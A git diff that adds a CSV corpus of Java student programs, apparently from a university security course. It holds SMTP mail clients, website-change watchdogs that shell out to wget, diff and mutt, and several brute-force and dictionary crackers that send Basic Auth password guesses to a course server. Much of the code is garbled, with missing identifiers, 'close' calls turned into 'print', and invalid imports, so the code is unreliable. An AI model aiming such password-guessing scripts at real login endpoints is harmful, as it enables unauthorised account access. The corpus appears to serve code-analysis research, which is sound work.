diff --git "a/Corpus/TRAIN_java_.csv" "b/Corpus/TRAIN_java_.csv" new file mode 100644--- /dev/null +++ "b/Corpus/TRAIN_java_.csv" @@ -0,0 +1,38616 @@ +179.java,"import java.net.*; +import java.io.*; + + +public class EmailClient +{ + private String sender, recipient, hostName; + + public EmailClient(String nSender, String nRecipient, String nHost) + { + sender = nSender; + recipient = nRecipient; + hostName = nHost; + } + + public void sendMail(String subject, String message) + { + try + { + Socket s1=null; + InputStream is = null; + OutputStream os = null; + + DataOutputStream = null; + + s1 = new Socket(hostName,25); + is = s1.getInputStream(); + os = s1.getOutputStream(); + + bd = new DataOutputStream(os); + + BufferedReader response = new BufferedReader(new InputStreamReader(is)); + + bd.writeBytes(""HELO ""+ InetAddress.getLocalHost().getHostName() + ""\r\n""); + + waitForSuccessResponse(response); + + bd.writeBytes(""MAIL FROM:""+sender+""\n""); + + waitForSuccessResponse(response); + + bd.writeBytes(""RCPT :""+recipient+""\n""); + + waitForSuccessResponse(response); + + bd.writeBytes(""data""+""\n""); + + bd.writeBytes(""Subject:""+subject+""\n""); + + bd.writeBytes(message+""\n.\n""); + + waitForSuccessResponse(response); + } + + catch (UnknownHostException badUrl) + { + System.out.println(""Host unknown.""); + } + + catch (EOFException eof) + { + System.out.println(""""); + } + catch (Exception e) + { + System.out.println(""got exception: ""+e); + } + } + + private static void waitForSuccessResponse(BufferedReader response) throws IOException + { + String rsp; + boolean r250 = false; + + while( ! r250 ) + { + rsp = response.readLine().trim(); + + if(rsp.startsWith(""250"")) + r250 = true; + } + + } +}" +087.java,"import java.net.*; +import java.io.*; +import java.*; + + public class Dictionary { + + URLConnection conn = null; + private static boolean status = false; + + public static void main (String args[]){ + Dictionary a = new Dictionary(); + String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"", + """", + """"}; + File file = new File(""words""); + exit: + try { + BufferedReader in = new BufferedReader(new FileReader(file)); + int attempt = 0; + inp[2] = in.readLine(); + while (inp[2] != null) { + + if (inp[2].length() <= 3) { + attempt++; + a.doit(inp); + if (status) { + System.out.println(""Crrect password is: "" + inp[2]); + System.out.println(""Number of attempts = "" + attempt); + break exit; + } + } + inp[2] = in.readLine(); + } + } catch (FileNotFoundException e1) { + + System.err.println(""File not found: "" + file); + } catch (IOException e2) { + + e2.printStackTrace(); + } + + } + + public void doit(String args[]) { + + try { + BufferedReader in = new BufferedReader( + new InputStreamReader + (connectURL(new URL(args[0]), args[1], args[2]))); + String line; + while ((line = in.readLine()) != null) { + System.out.println(line); + status = true; + } + } + catch (IOException e) { + + } + } + + public InputStream connectURL (URL url, String uname, String pword) + throws IOException { + conn = url.openConnection(); + conn.setRequestProperty (""Authorization"", + userNamePasswordBase64(uname,pword)); + conn.connect (); + return conn.getInputStream(); + } + + public String userNamePasswordBase64(String username, String password) { + return "" "" + base64Encode (username + "":"" + password); + } + + private final static char base64Array [] = { + 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', + 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', + 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', + 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', + 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', + 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', + 'w', 'x', 'y', 'z', '0', '1', '2', '3', + '4', '5', '6', '7', '8', '9', '+', '/' + }; + + private static String base64Encode (String string) { + String encodedString = """"; + byte bytes [] = string.getBytes (); + int i = 0; + int pad = 0; + while (i < bytes.length) { + byte b1 = bytes [i++]; + byte b2; + byte b3; + if (i >= bytes.length) { + b2 = 0; + b3 = 0; + pad = 2; + } + else { + b2 = bytes [i++]; + if (i >= bytes.length) { + b3 = 0; + pad = 1; + } + else + b3 = bytes [i++]; + } + byte c1 = (byte)(b1 >> 2); + byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); + byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); + byte c4 = (byte)(b3 & 0x3f); + encodedString += base64Array [c1]; + encodedString += base64Array [c2]; + switch (pad) { + case 0: + encodedString += base64Array [c3]; + encodedString += base64Array [c4]; + break; + case 1: + encodedString += base64Array [c3]; + encodedString += ""=""; + break; + case 2: + encodedString += ""==""; + break; + } + } + return encodedString; + } + } + +" +094.java," + + +import java.net.*; +import java.io.*; + + +public class BruteForce{ + + private String passwd = """"; + private String command = """"; + private BufferedReader in; + private PrintWriter out; + + private int startTime = 0; + private int endTime = 0; + private int totalTimes = 0; + + private boolean bfind = false; + + private String str =""abcdefghlijkmnopqrstuvwxyz'ABCDEFGHLIJKMNOPQRSTUVWXYZ0123456789.""; + + + public BruteForce(){} + + + public void doRequest(){ + startTime = System.currentTimeMillis(); + + for(int i=0; i < str.length(); i++){ + if(bfind) break; + for(int j=0; j < str.length(); j++){ + if(bfind) break; + for(int k=0; k < str.length(); k++){ + if(bfind) break; + passwd = String.valueOf(str.charAt(i))+ String.valueOf(str.charAt(j)) + +String.valueOf(str.charAt(k)); + connection(passwd); + } + } + } + + if(!bfind){ + for(int i = 0; i < str.length(); i++){ + if(bfind) break; + for(int j = 0; j Establishing a connection.""); + Runtime runtime = Runtime.getRuntime(); + Process p = runtime.exec(command); + in = new BufferedReader(new InputStreamReader(p.getInputStream())); + String inStr; + while((inStr = in.readLine())!= null){ + if(inStr.indexOf(""HTTP/1.1 200"") != -1 || inStr.indexOf(""HTTP/1.0 200"") != -1|| + inStr.indexOf(""HTTP/1.1 404"") != -1 || inStr.indexOf(""HTTP/1.0 404"") != -1){ + endTime = System.currentTimeMillis(); + totalTimes = endTime - startTime; + System.out.println(""\nBruteForce Crack PassWord successful! PassWord is "" + passwd); + System.out.println(""Total Times is "" + totalTimes + "" milliSec""); + System.out.println(""Writing it brutepswd.txt file\n""); + out = new PrintWriter(new BufferedWriter(new FileWriter(""brutepswd.txt""))); + out.println(""BruteForce Crack PassWord Successful! Total Times: "" + totalTimes + "" milliSec""); + out.println(""Passwd: ""+ passwd); + out.flush(); + bfind = true; + } + out.print(); + } + in.print(); + }catch(Exception e){System.out.println(e.getMessage());} + } + + public String getAnyKey()throws Exception{ + BufferedReader stdin =new BufferedReader(new InputStreamReader(System.in)); + String key= stdin.readLine(); + return key; + } + + public static void main (String []args){ + + BruteForce bf = new BruteForce(); + System.out.println(""\n*******************************************""); + System.out.println(""* *""); + System.out.println(""* BruteForce Crack Passwd Program *""); + System.out.println(""* --------------------------------- *""); + System.out.println(""* Author: *""); + System.out.println(""* *""); + System.out.println(""*******************************************""); + System.out.println(""\n BruteForce Crack Passwd Information:\n""); + System.out.println(""--> UserName: ""); + System.out.println(""--> MaxPasswdLength: 3""); + System.out.println(""--> URL: http://sec-crack.cs.rmit.edu./SEC/2/index.php""); + System.out.println(""--> Alphabet: ""+ bf.str+""\n""); + System.out.println(""==> Press Ctrl+C stop Crack\n""); + System.out.print(""==> Press EnterKey : ""); + try{ + String key = bf.getAnyKey(); + }catch(Exception e){System.out.println(e.getMessage());} + bf.doRequest(); + } +}" +187.java," + + + +import java.net.*; +import java.io.*; +import java.util.Date; + +public class MyMail implements Serializable +{ + + + + public static final int SMTPPort = 25; + + + public static final char successPrefix = '2'; + + + public static final char morePrefix = '3'; + + + public static final char failurePrefix = '4'; + + + + + private static final String CRLF = ""\r\n""; + + + private String mailFrom = """"; + + + private String mailTo = """"; + + + private String messageSubject = """"; + + + private String messageBody = """"; + + + private String mailServer = """"; + + + public MyMail () + { + + super(); + } + + + public MyMail ( String serverName) + { + + super(); + + + mailServer = serverName; + } + + + public String getFrom() + { + return mailFrom; + } + + + public String getTo() + { + return mailTo; + } + + + public String getSubject() + { + return messageSubject; + } + + + public String getMessage() + { + return messageBody; + } + + + public String getMailServer() + { + return mailServer; + } + + + public void setFrom( String from ) + { + + mailFrom = from; + } + + + public void setTo ( String To ) + { + + mailTo = To; + } + + + public void setSubject ( String subject ) + { + + messageSubject = subject; + } + + + public void setMessage ( String msg ) + { + + messageBody = msg; + } + + + public void setMailServer ( String server ) + { + + mailServer = server; + } + + + private boolean responseValid( String response ) + { + + + + if (response.indexOf("" "") == -1) + + return false; + + + String cad = response.substring( 0, response.indexOf("" "")); + + + cad = cad.toUpperCase(); + + + if (( cad.charAt(0) == successPrefix ) || + ( cad.charAt(0) == morePrefix ) ) + + return true; + else + + return false; + } + + + public void sendMail() + { + try { + String response; + + + Socket mailSock = new Socket (mailServer, SMTPPort); + + + BufferedReader bf = new BufferedReader ( new InputStreamReader(mailSock.getInputStream())); + PrintWriter pout = new PrintWriter ( new OutputStreamWriter(mailSock.getOutputStream())); + + + System.out.println(""1""); + response = bf.readLine(); + + + if ( !responseValid(response) ) + throw new IOException(""ERR - "" + response); + + + try + { + InetAddress addr = InetAddress.getLocalHost(); + + String localHostname = addr.getHostName(); + + pout.print (""HELO "" + localHostname + CRLF); + } + catch (UnknownHostException uhe) + { + + pout.print (""HELO myhostname"" + CRLF); + } + + + pout.flush(); + + + System.out.println(""2""); + response = bf.readLine(); + + + if ( !responseValid(response) ) + throw new IOException(""ERR - "" + response); + + + pout.println (""MAIL From:<"" + mailFrom + "">""); + + + pout.flush(); + + + System.out.println(""3""); + response = bf.readLine(); + + + if ( !responseValid(response) ) + throw new IOException(""ERR - "" + response); + + + pout.println (""RCPT :<"" + mailTo + "">""); + + + pout.flush(); + + + System.out.println(""4""); + response = bf.readLine(); + + + if ( !responseValid(response) ) + throw new IOException(""ERR - "" + response); + + + pout.println (""DATA""); + + + pout.flush(); + + + System.out.println(""5""); + response = bf.readLine(); + + + if ( !responseValid(response) ) + throw new IOException(""ERR - "" + response); + + + + pout.println (""From: "" + mailFrom); + pout.println ("": "" + mailTo); + pout.println (""Subject: "" + messageSubject); + + + pout.println (); + + + pout.println (messageBody); + + + pout.println ("".\n\r""); + + + pout.flush(); + + + System.out.println(""6""); + response = bf.readLine(); + + + if ( !responseValid(response) ) + throw new IOException(""ERR - "" + response); + + + pout.println (""QUIT""); + + + pout.flush(); + + + mailSock.close(); + } + catch (IOException ioe) + { + System.out.println(ioe.getMessage()); + } + } + +}" +131.java," +import java.io.*; +import java.net.*; + +public class BruteForce +{ + private String myUsername = """"; + private String urlToCrack = ""http://sec-crack.cs.rmit.edu./SEC/2""; + private int NUM_CHARS = 52; + + + public static void main(String args[]) + { + BruteForce bf = new BruteForce(); + } + + + public BruteForce() + { + generatePassword(); + } + + + + + public void generatePassword() + { + int index1 = 0, index2, index3; + + char passwordChars[] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', + 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', + 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', + 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', + 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', + 's', 't', 'u', 'v', 'w', 'x', 'y', 'z' }; + + + while(index1 < NUM_CHARS) + { + index2 = 0; + + while(index2 < NUM_CHARS) + { + index3 = 0; + + while(index3 < NUM_CHARS) + { + crackPassword(new String("""" + passwordChars[index1] + passwordChars[index2] + passwordChars[index3])); + index3++; + } + + index2++; + } + + index1++; + } + } + + + + + public void crackPassword(String passwordToCrack) + { + String data, dataToEncode, encodedData; + + try + { + URL url = new URL (urlToCrack); + + + + dataToEncode = myUsername + "":"" + passwordToCrack; + + + + encodedData = new url.misc.BASE64Encoder().encode(dataToEncode.getBytes()); + + URLConnection urlCon = url.openConnection(); + urlCon.setRequestProperty(""Authorization"", "" "" + encodedData); + + InputStream is = (InputStream)urlCon.getInputStream(); + InputStreamReader isr = new InputStreamReader(is); + BufferedReader bf = new BufferedReader(isr); + + + + + { + data = bf.readLine(); + System.out.println(data); + displayPassword(passwordToCrack); + } while (data != null); + } + catch (IOException e) + { } + } + + public void displayPassword(String foundPassword) + { + System.out.println(""\nThe cracked password is : "" + foundPassword); + System.exit(0); + } +} +" +136.java," + + + + + +import java.util.*; +import java.io.*; +import java.net.*; + +public class MyWatchDogTimer extends TimerTask +{ + public void run() + { + Runtime rt = Runtime.getRuntime(); + Process prss= null; + String initialmd5,presentmd5,finalmd5,temp1; + String mesg1 = new String(); + String subject = new String(""Report of WatchDog""); + + int i; + + try + { + + prss = rt.exec(""md5sum first.html""); + + InputStreamReader instre1 = new InputStreamReader(prss.getInputStream()); + BufferedReader bufread1 = new BufferedReader(instre1); + + sw = bufread1.readLine(); + i = finalmd5.indexOf(' '); + initialmd5 = finalmd5.substring(0,i); + System.out.println(""this is of first.html--->""+initialmd5); + + + + prss = rt.exec(""wget -R mpg,mpeg, --output-document=present.html http://www.cs.rmit.edu./students/""); + + + prss = rt.exec(""md5sum present.html""); + + InputStreamReader instre2 = new InputStreamReader(prss.getInputStream()); + BufferedReader bufread2 = new BufferedReader(instre2); + + temp1 = bufread2.readLine(); + i = temp1.indexOf(' '); + presentmd5 = temp1.substring(0,i); + System.out.println(""this is of present.html---->""+presentmd5); + + + if(initialmd5.equals(presentmd5)) + System.out.println(""The checksum found using md5sum is same""); + else + { + prss = rt.exec(""diff first.html present.html > diff.html""); + System.out.println("" is different""); + prss = null; + mesg1 =""php mail.php""; + prss = rt.exec(mesg1); + } + + prss = rt.exec(""rm present.*""); + + }catch(java.io.IOException e){} + + } +} +" +055.java," +import java.net.*; +import java.io.*; +import java.misc.*; +import java.io.BufferedInputStream; +import java.awt.*; +import java.awt.event.*; + +public class WriteFile +{ + String url; + String fileName; + int flag; + private PrintWriter out2; + private TextArea response; + int status; + int mailFlag; + + public WriteFile (String newUrl, String newFileName, int newFlag) + { + url = newUrl; + fileName = newFileName; + PrintWriter printW = null; + FileOutputStream fout; + flag = newFlag; + status = 0; + mailFlag = 0; + + + File file = new File(fileName); + file.delete(); + + try + { + fout = new FileOutputStream(fileName,true); + printW = new PrintWriter(fout); + } + catch (IOException ioe) + { + System.out.println(""IO Error : "" + ioe); + } + + + URL u; + URLConnection uc; + + try + { + u = new URL(url); + try + { + + uc = u.openConnection(); + + InputStream content = (InputStream)uc.getInputStream(); + BufferedReader in = new BufferedReader (new InputStreamReader(content)); + + String line; + + + while ((line = in.readLine()) != null) + { + + printW.println(line); + + } + } + catch (Exception e) + { + System.out.println(""Error: "" + e); + } + } + catch (MalformedURLException e) + { + System.out.println(url + "" is not a parseable URL""); + } + + printW.print(); + + + if(flag == 1) + { + + compareDiff(""@.rmit.edu.""); + } + } + + String loadStream(InputStream in) throws IOException + { + int ptr = 0; + in = new BufferedInputStream(in); + StringBuffer buffer = new StringBuffer(); + + while( (ptr = in.next()) != -1 ) + { + status++; + + buffer.append((char)ptr); + mailFlag++; + + } + return buffer.toString(); + } + + public void compareDiff(String emailAdd) + { + String cmds = ""diff test1.txt test2.txt""; + PrintWriter printW2 = null; + FileOutputStream fout2; + + File file = new File(""diff.txt""); + file.delete(); + String ; + + try + { + fout2 = new FileOutputStream(""diff.txt"",true); + printW2 = new PrintWriter(fout2); + } + catch (IOException ioe) + { + System.out.println(""IO Error : "" + ioe); + } + + try + { + + + + Process ps = Runtime.getRuntime().exec(cmds); + PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream())); + + printW2.println(loadStream(ps.getInputStream())+""\n""); + printW2.print(); + + + if(mailFlag != 0) + { + FileReader fRead2; + BufferedReader buf2; + + try + { + fRead2 = new FileReader(""diff.txt""); + buf2 = new BufferedReader(fRead2); + String line2; + int i=0; + + line = new String("" some changes the web as followed: \n""); + + Socket s = new Socket(""wombat.cs.rmit.edu."", 25); + out2 = new PrintWriter(s.getOutputStream()); + + send(null); + send(""HELO cs.rmit.edu.""); + send(""MAIL FROM: @.rmit.edu.""); + + send(""RCPT : @.rmit.edu.""); + send(""DATA""); + + + while( (line2 = buf2.readLine()) != null) + { + + line= new String(""""+line2+""\n""); + + + + } + + + + out2.print(); + send("".""); + s.print(); + } + catch(FileNotFoundException e) + { + System.out.println(""File not found""); + } + catch(IOException ioe) + { + System.out.println(""IO Error "" + ioe); + } + } + + System.out.println(loadStream(ps.getInputStream())); + + System.err.print(loadStream(ps.getErrorStream())); + } + catch(IOException ioe) + { + ioe.printStackTrace(); + } + } + + public void send(String s) throws IOException + { + response = new TextArea(); + if(s != null) + { + response.append(s + ""\n""); + out2.println(s); + out2.flush(); + } + } + + public int getStatus() + { + return status; + } +}" +174.java," + + + + +import java.util.*; +import java.io.*; + +public class MyTimer +{ + + public static void main(String args[]) + { + Watchdog watch = new Watchdog(); + Timer time = new Timer(); + time.schedule(watch,864000000,864000000); + + + } +} +" +090.java,"import java.io.*; +import java.net.*; +import java.security.*; +import java.math.*; +import java.*; +import java.util.*; + + +public class Dictionary +{ + public static void main (String args[]) throws Exception { + Socket socket = null; + DataOutputStream = null; + BufferedReader bf = null, fr = null; + String retVal = null, StatusCode = ""HTTP/1.1 200 OK""; + int found = 0, count = 0; + String testpasswd; + + try { + + File inputFile = new File(""words""); + fr = new BufferedReader(new FileReader(inputFile)); + } catch (IOException ex) { + ex.printStackTrace(); + } + + stime = System.currentTimeMillis(); + System.out.println(""Cracking password by Dictionary...""); + + while (((testpasswd = fr.readLine()) != null) && (found == 0)) + { + try { + + + URL yahoo = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); + URLConnection yc = yahoo.openConnection(); + + + String authString = "":"" + testpasswd; + String auth = new bf.misc.BASE64Encoder().encode(authString.getBytes()); + yc.setRequestProperty(""Authorization"", "" "" + auth); + count++; + + + BufferedReader in = new BufferedReader( + new InputStreamReader( + yc.getInputStream())); + + String inputLine; + while ((inputLine = in.readLine()) != null){ + System.out.println(inputLine); + etime = System.currentTimeMillis(); + System.out.println(""Password found -- "" + testpasswd); + System.out.println(""Time used = "" + ((etime - stime)/1000) + "" sec""); + System.out.println(""# of attempt = "" + count); + System.out.println(""End of cracking!""); + found = 1; + } + in.print(); + + } catch (Exception ex) {} + } + fr.close(); + + if (found == 0) { + System.out.println(""Sorry, password found.""); + System.out.println(""# of attempt = "" + count); + System.out.println(""End of cracking!""); + } + } +}" +194.java," +import java.io.*; +import java.util.*; + + +class BruteForce{ + +public static void main(String args[]){ + +String pass,s; +char a,b,c; +int z=0; +int attempt=0; +Process p; + + +char password[]={'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q', + 'R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f','g','h', + 'i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'}; + z = System.currentTimeMillis(); +int at=0; +for(int i=0;i""; + String hostName = ""yallara.cs.rmit.edu.""; + int delay = 86400000; + + try + { + int imgSrcIndex, imgSrcEnd; + String imgLink; + Vector imageList = new Vector(); + HttpURLConnection imgConnection; + URL imgURL; + + + EmailClient email = new EmailClient(sender, recipient, hostName); + + + URL url=new URL(mainLink); + HttpURLConnection connection = (HttpURLConnection) url.openConnection(); + + BufferedReader webpage = new BufferedReader(new InputStreamReader(connection.getInputStream())); + + + FileWriter fwrite = new FileWriter(""local.txt""); + BufferedWriter writefile = new BufferedWriter(fwrite); + + String line=webpage.readLine(); + + while (line != null) + { + + writefile.write(line,0,line.length()); + writefile.newLine(); + + + line = line.toLowerCase(); + imgSrcIndex=line.indexOf(""src""); + + if(imgSrcIndex!=-1) + { + + imgLink = line.substring(imgSrcIndex+3); + imgSrcIndex=imgLink.indexOf(""\""""); + imgLink = imgLink.substring(imgSrcIndex+1); + imgSrcEnd = imgLink.indexOf(""\""""); + imgLink = imgLink.substring(0,imgSrcEnd); + + + if (imgLink.startsWith(""http"")) + { + imgURL = new URL(imgLink); + imgConnection = (HttpURLConnection) imgURL.openConnection(); + } + + else + { + imgURL = new URL(mainLink); + imgURL = new URL(imgURL, imgLink); + imgConnection = (HttpURLConnection) imgURL.openConnection(); + imgLink = (imgConnection.getURL()).toString(); + } + + + imageList.add(new ImageFile(imgLink, imgConnection.getContentLength())); + imgConnection.disconnect(); + } + + line = webpage.readLine(); + + } + + + writefile.close(); + fwrite.close(); + webpage.close(); + connection.disconnect(); + + + WatchdogThread watchdog = new WatchdogThread(mainLink, imageList, email, delay); + } + + catch (IOException ioe) + { + + + System.out.println(ioe); + System.out.println(""Please run program again.""); + System.exit(0); + } + + } + +} +" +245.java," + + + + + + + + + + + + + + + +import java.*; +import java.io.*; +import java.text.*; +import java.net.*; +import java.net.URL; +import java.net.URLConnection; +import java.util.*; + +public class WatchDog { + + public static void main(String[] args) throws IOException { + + + String host = ""http://www.cs.rmit.edu./students/""; + + String outFilename = null; + String diffFilename = null; + + + String email = ""@cs.rmit.edu.""; + String subject = null; + String message = ""msg""; + String mutt = null; + + + List currentList = new ArrayList(); + List previousList = new ArrayList(); + List diffList = new ArrayList(); + String line = null; + String previousLine = null; + String diffLine = null; + + + int sleepTime = 1000 * 60 * 60 * 24; + + + SimpleDateFormat format = new SimpleDateFormat(""yyyyMMddkmm""); + Date currentDate = null; + + int c=0; + + { + try { + + URL url = new URL(host); + HttpURLConnection httpConnect = (HttpURLConnection) url.openConnection(); + InputStream webIn = httpConnect.getInputStream(); + BufferedReader webReader = new BufferedReader( new InputStreamReader( webIn ) ); + + + + currentDate = null; + currentDate = new java.util.Date(); + String dateString = format.format(currentDate); + + + outFilename = ""watch_"" + dateString; + File outputFile = new File(outFilename); + FileWriter out = new FileWriter(outputFile); + + + diffFilename = ""diff_"" + dateString; + File diffOutputFile = new File(diffFilename); + FileWriter diffOut = new FileWriter(diffOutputFile); + + line = """"; + + + while (( line = webReader.readLine()) != null ) { + currentList.add(line + ""\n""); + } + + webReader.close(); + + Iterator iter = currentList.iterator(); + + + line = """"; + previousLine = """"; + diffLine = """"; + + + int l=0; + int d=0; + + while (iter.hasNext()) { + line = String.valueOf(iter.next()); + out.write(line); + + + if (!previousList.isEmpty()) { + try { + previousLine = String.valueOf(previousList.get(l)); + + + if (line.compareTo(previousLine)==0) { + } else { + + diffLine = ""Line "" + (l+1) + "" has changed : "" + line; + diffOut.write(diffLine); + d++; + } + + } catch (Exception e) { + + + diffLine = ""Line "" + (l+1) + "" has been added: "" + line + "" \n""; + diffOut.write(diffLine); + d++; + } + } + + l++; + } + + + out.close(); + diffOut.close(); + + + previousList.clear(); + previousList.addAll(currentList); + currentList.clear(); + diffList.clear(); + + if (d>0) { + + subject = ""WatchDog_"" + dateString; + mutt = ""mutt -a "" + diffFilename + "" -s "" + subject + "" "" + email; + + System.out.println(""The webpage has changed.""); + Runtime rt = Runtime.getRuntime(); + rt.exec(mutt); + + + + System.out.println(""Email sent "" + email + "" at "" + dateString); + + } else if (c>0) { + + System.out.println(""Webpage checked at "" + dateString + "" and changes were found""); + } + + } catch(MalformedURLException e) { + System.out.println(""Opps, the URL "" + host + "" is not valid.""); + System.out.println(""Please check the URL and try again.""); + System.exit(0); + + } catch(IOException e) { + System.out.println("", 't connect "" + host + "".""); + System.out.println(""Please check the URL and try again.""); + System.out.println(""Other possible causes include website is currently unavailable""); + System.out.println("" I have a problem writing .""); + System.exit(0); + + } + + + try { + Thread.sleep(sleepTime); + } catch (Exception e) { + + } + + c++; + } while(true); + } +}" +159.java," + + + + + + +class BasicAuth { + + public BasicAuth() {} + + + private static byte[] cvtTable = { + (byte)'A', (byte)'B', (byte)'C', (byte)'D', (byte)'E', + (byte)'F', (byte)'G', (byte)'H', (byte)'I', (byte)'J', + (byte)'K', (byte)'L', (byte)'M', (byte)'N', (byte)'O', + (byte)'P', (byte)'Q', (byte)'R', (byte)'S', (byte)'T', + (byte)'U', (byte)'V', (byte)'W', (byte)'X', (byte)'Y', + (byte)'Z', + (byte)'a', (byte)'b', (byte)'c', (byte)'d', (byte)'e', + (byte)'f', (byte)'g', (byte)'h', (byte)'i', (byte)'j', + (byte)'k', (byte)'l', (byte)'m', (byte)'n', (byte)'o', + (byte)'p', (byte)'q', (byte)'r', (byte)'s', (byte)'t', + (byte)'u', (byte)'v', (byte)'w', (byte)'x', (byte)'y', + (byte)'z', + (byte)'0', (byte)'1', (byte)'2', (byte)'3', (byte)'4', + (byte)'5', (byte)'6', (byte)'7', (byte)'8', (byte)'9', + (byte)'+', (byte)'/' + }; + + static String encode(String name, + String passwd) { + byte input[] = (name + "":"" + passwd).getBytes(); + byte[] output = new byte[((input.length / 3) + 1) * 4]; + int ridx = 0; + int chunk = 0; + + for (int i = 0; i < input.length; i += 3) { + int left = input.length - i; + + + if (left > 2) { + chunk = (input[i] << 16)| + (input[i + 1] << 8) | + input[i + 2]; + output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; + output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; + output[ridx++] = cvtTable[(chunk&0xFC0) >> 6]; + output[ridx++] = cvtTable[(chunk&0x3F)]; + } else if (left == 2) { + + chunk = (input[i] << 16) | + (input[i + 1] << 8); + output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; + output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; + output[ridx++] = cvtTable[(chunk&0xFC0) >> 6]; + output[ridx++] = '='; + } else { + + chunk = input[i] << 16; + output[ridx++] = cvtTable[(chunk&0xFC0000)>>18]; + output[ridx++] = cvtTable[(chunk&0x3F000) >>12]; + output[ridx++] = '='; + output[ridx++] = '='; + } + } + return new String(output); + } +}" +161.java," +import java.net.*; +import java.io.*; +import java.util.*; + + +public class Dictionary { + + public static void main(String args[]) + { + int i,j,k; + String pass = new String(); + String UserPass = new String(); + String status = new String(); + String status1 = new String(); + BasicAuth auth = new BasicAuth(); + URLConnection connect; + int start,end,diff; + try { + URL url = new URL (""http://sec-crack.cs.rmit.edu./SEC/2/""); + + + + start =System.currentTimeMillis(); + + BufferedReader dis = new BufferedReader(new FileReader(""words"")); + + + while ((pass = dis.readLine()) != null) + { + + + UserPass= auth.encode("""",pass); + + connect = url.openConnection(); + connect.setDoInput(true); + connect.setDoOutput(true); + + connect.setRequestProperty(""Host"",""sec-crack.cs.rmit.edu.""); + connect.setRequestProperty(""Get"",""/SEC/2/ HTTP/1.1""); + connect.setRequestProperty(""Authorization"","" "" + UserPass); + connect.connect(); + status =connect.getHeaderField(0); + status1 = status.substring( 9,12); + if (status.equalsIgnoreCase(""HTTP/1.1 200 OK"")) + { + System.out.println(""Password is "" + pass); + end=System.currentTimeMillis(); + diff = end - start; + System.out.println(""Time Taken = "" + (diff/1000) + "" secs""); + System.exit(0); + } + ((HttpURLConnection)connect).disconnect(); + connect = null; + } + + System.out.println("" match found""); + + dis.close(); + dis=null; + + connect = null; + + } + + catch (MalformedURLException malerr) + { + System.err.println(""Unable Open URL"" + malerr); + } + + catch (Exception ioerr) + { + System.err.println(""Unable open file"" + ioerr); + } + + + + + } +}" +182.java,"import java.net.*; +import java.io.*; + + +public class Dictionary extends Authenticator { + + + private String username; + + private char [] thisPassword; + + private URL url; + + private BufferedReader bf; + + + public static void main(String [] args) { + if(args.length!=3) { + System.err.println( + ""usage: Dictionary ""); + System.exit(1); + } + Dictionary d = null; + try { + d = new Dictionary(args[0], args[1], args[2]); + } catch (MalformedURLException me) { + me.printStackTrace(); + System.exit(1); + } catch (FileNotFoundException fe) { + fe.printStackTrace(); + System.exit(1); + } + d.work(); + } + + + public Dictionary(String url, String username, String passwordFilename) + throws MalformedURLException, FileNotFoundException { + this.url = new URL(url); + this.username = username; + thisPassword = new char [] {'a'}; + File f = new File(passwordFilename); + FileReader fr = new FileReader(f); + bf = new BufferedReader(fr); + } + + + public void work() { + Authenticator.setDefault(this); + HttpURLConnection uc = null; + try { + uc = (HttpURLConnection) url.openConnection(); + uc.connect(); + while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED && + thisPassword !=null) { + try { + InputStream is = uc.getInputStream(); + uc.connect(); + } catch (ProtocolException pe) { + uc = (HttpURLConnection) url.openConnection(); + } catch (NullPointerException npe) { + npe.printStackTrace(); + System.exit(1); + } + } + } catch (java.io.IOException e ) { + e.printStackTrace(); + System.exit(1); + } + System.out.println(""password="" + new String(thisPassword)); + } + + + public PasswordAuthentication getPasswordAuthentication() { + String s=null; + try { + for(s = bf.readLine(); s!=null; s = bf.readLine()) { + if(s.length()==3) { + break; + } + } + } catch (IOException e) { + e.printStackTrace(); + System.exit(1); + } + if(s.length()!=3) { + thisPassword = null; + } else { + thisPassword = s.toCharArray(); + } + return new PasswordAuthentication(username, thisPassword); + } +} +" +081.java," + +public class Base64 { + + final static String baseTable = ""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/""; + + + public static String encode(byte[] bytes) { + + String tmp = """"; + int i = 0; + byte pos; + + for(i=0; i < (bytes.length - bytes.length%3); i+=3) { + + pos = (byte) ((bytes[i] >> 2) & 63); + tmp = tmp + baseTable.charAt(pos); + + pos = (byte) (((bytes[i] & 3) << 4) + ((bytes[i+1] >> 4) & 15)); + tmp = tmp + baseTable.charAt( pos ); + + pos = (byte) (((bytes[i+1] & 15) << 2) + ((bytes[i+2] >> 6) & 3)); + tmp = tmp + baseTable.charAt(pos); + + pos = (byte) (((bytes[i+2]) & 63)); + tmp = tmp + baseTable.charAt(pos); + + + + if(((i+2)%56) == 0) { + tmp = tmp + ""\r\n""; + } + } + + if(bytes.length % 3 != 0) { + + if(bytes.length % 3 == 2) { + + pos = (byte) ((bytes[i] >> 2) & 63); + tmp = tmp + baseTable.charAt(pos); + + pos = (byte) (((bytes[i] & 3) << 4) + ((bytes[i+1] >> 4) & 15)); + tmp = tmp + baseTable.charAt( pos ); + + pos = (byte) ((bytes[i+1] & 15) << 2); + tmp = tmp + baseTable.charAt(pos); + + tmp = tmp + ""=""; + + } else if(bytes.length % 3 == 1) { + + pos = (byte) ((bytes[i] >> 2) & 63); + tmp = tmp + baseTable.charAt(pos); + + pos = (byte) 